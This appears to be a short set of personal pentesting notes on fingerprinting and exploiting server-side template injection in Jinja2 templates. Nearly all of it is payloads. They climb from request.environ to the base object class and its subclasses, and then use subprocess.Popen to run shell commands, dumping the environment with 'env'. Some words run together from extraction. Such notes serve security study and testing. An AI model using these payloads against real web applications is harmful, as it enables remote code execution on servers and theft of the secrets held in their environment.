686 B
686 B
-
Flowchart to fingerprint underlying templating engine through successive payloads !Pasted image 20230906000448.png
-
Jinja2
- Get information about Python environment
{{request.environ}}
- Regress to base
objectclass{{request.__class__.__base__.__base__}}
- List all loaded top classes
{{request.__class__.__base__.__base__.__subclasses__()}}- Note interesting top classes, such as
os.systemandsubprocess.Popen - Determine their count for the following
- Call
subprocess.Popento execute commands ("env" in this case){{request.__class__.__base__.__base__.__subclasses__()[282]("env",shell=True,stdout=-1).communicate()[0]}}
- Get information about Python environment